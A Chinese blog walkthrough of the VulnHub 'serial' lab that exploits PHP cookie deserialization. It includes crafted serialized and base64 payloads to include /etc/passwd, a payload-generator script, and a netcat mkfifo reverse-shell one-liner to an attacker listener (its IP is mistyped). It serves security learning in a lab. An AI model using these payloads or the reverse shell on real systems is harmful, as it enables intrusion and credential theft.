当前位置: 首页 > news >正文

反序列化靶机实战serial(保姆级教程)

一.信息收集

靶机地址下载:https://download.vulnhub.com/serial/serial.zip

打开靶机,在kali虚拟机中进行主机存活探测

可以知道靶机ip地址为192.168.133.171

然后扫描端口 可以发现有一个22端口跟80端口

然后接下来用kali扫描它的目录 

可以发现有一个可访问的目录 我们去访问一下

访问之后backup目录下有一个bak.zip 下载下来

下载下来之后有三个文件  分析一下

index.php

<?php
    include("user.class.php");

    if(!isset($_COOKIE['user'])) {
        setcookie("user", base64_encode(serialize(new User('sk4'))));
    } else {
        unserialize(base64_decode($_COOKIE['user']));
    }
    echo "This is a beta test for new cookie handler\n";
?>

log.class.php

<?php
  class Log {
    private $type_log;

    function __costruct($hnd) {
      $this->$type_log = $hnd;
    }

    public function handler($val) {
      include($this->type_log);
      echo "LOG: " . $val;
    }
  }
?>

user.class.php

<?php
  include("log.class.php");

  class Welcome {
    public function handler($val) {
      echo "Hello " . $val;
    }
  }

  class User {
    private $name;
    private $wel;

    function __construct($name) {
      $this->name = $name;
      $this->wel = new Welcome();
    }

    function __destruct() {
      //echo "bye\n";
      $this->wel->handler($this->name);
    }
  }

?>

 提示cookie,burpsuite抓包看一下cookie

cookie那里有一串base64加密的 解密一下

base64解码得到序列化后字段是

O:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";O:7:"Welcome":0:{}}

 然后我们构造payload 读取/etc/passwd文件

O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}')

base64编码

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086MzoiTG9nIjoxOntzOjg6InR5cGVfbG9nIjtzOjExOiIvZXRjL3Bhc3N3ZCI7fX0=

 然后再次抓包 打开用burp的repeater

将加密后的替换一下 就可以看到  然后成功包含  看到有一个sk4用户可登陆

get shell

构造序列化语句上传shell

生成一个shell放在本地网站下

然后构造payload,尝试读取passwd文件,payload如下 新创建一个1.php在本地的www下 然后 把type_log参数后面记得改成自己上传到本地的一句话木马

<?phpclass Log {private $type_log = "/etc/passwd";}class User {private $name = "admin";private $wel;function __construct() {$this->wel = new Log();}
}
$obj = new User();
echo base64_encode(serialize($obj));

然后去访问自己新创建的php 我这里用的是7.php 打开就看到他的base64编码

然后去抓包 把访问7.php得到的base64编码 替换cookie

成功执行

开始反弹shell

rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>&1|nc+1192.168.133.163+6666+>/tmp/f

将上述代码url编码后填入参数位置

然后在kali里开启监听监听成功 

在攻击模块发送 成功获取shell

查看文件,多返回几次上级目录,找到一个txt文件

查看文件得到他的账号跟密码

最后在远程连接 成功进入

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • jupyter for c++
  • java进阶 CompletableFuture
  • Python 设计模式之工厂函数模式
  • stem32江科大自学笔记
  • nodeJS的一点个人总结
  • C语言time库
  • linux shell 脚本 之 getopt
  • 【Mysql】第一章 (环境配置)
  • SpringBoot简单项目(二维码扫描)
  • JVM—虚拟机类加载时机与过程
  • C++之类和对象(上)
  • uniapp打开地图直接获取位置
  • SpringBoot中的server.context-path
  • Spring Boot 整合 Dubbo3 + Nacos 2.4.0【进阶】+ 踩坑记录
  • docker部署hadoop集群
  • 《Java编程思想》读书笔记-对象导论
  • Android优雅地处理按钮重复点击
  • HTML5新特性总结
  • JavaScript设计模式系列一:工厂模式
  • Lsb图片隐写
  • nginx 配置多 域名 + 多 https
  • nginx(二):进阶配置介绍--rewrite用法,压缩,https虚拟主机等
  • PAT A1050
  • php面试题 汇集2
  • Vue全家桶实现一个Web App
  • 测试如何在敏捷团队中工作?
  • 大数据与云计算学习:数据分析(二)
  • - 概述 - 《设计模式(极简c++版)》
  • 计算机在识别图像时“看到”了什么?
  • 解析带emoji和链接的聊天系统消息
  • 聊聊springcloud的EurekaClientAutoConfiguration
  • 巧用 TypeScript (一)
  • 容器服务kubernetes弹性伸缩高级用法
  • 小程序01:wepy框架整合iview webapp UI
  • 学习笔记TF060:图像语音结合,看图说话
  • 一个完整Java Web项目背后的密码
  • ​io --- 处理流的核心工具​
  • #ubuntu# #git# repository git config --global --add safe.directory
  • $Django python中使用redis, django中使用(封装了),redis开启事务(管道)
  • (html转换)StringEscapeUtils类的转义与反转义方法
  • (苍穹外卖)day03菜品管理
  • (超详细)语音信号处理之特征提取
  • (附源码)计算机毕业设计ssm本地美食推荐平台
  • (论文阅读22/100)Learning a Deep Compact Image Representation for Visual Tracking
  • (四十一)大数据实战——spark的yarn模式生产环境部署
  • (转)Unity3DUnity3D在android下调试
  • (转)德国人的记事本
  • (轉貼) 2008 Altera 亞洲創新大賽 台灣學生成果傲視全球 [照片花絮] (SOC) (News)
  • ******IT公司面试题汇总+优秀技术博客汇总
  • .NET 8.0 中有哪些新的变化?
  • .NET Entity FrameWork 总结 ,在项目中用处个人感觉不大。适合初级用用,不涉及到与数据库通信。
  • .NET Framework 服务实现监控可观测性最佳实践
  • .NET WebClient 类下载部分文件会错误?可能是解压缩的锅
  • .NET/C# 使用 #if 和 Conditional 特性来按条件编译代码的不同原理和适用场景
  • .NET实现之(自动更新)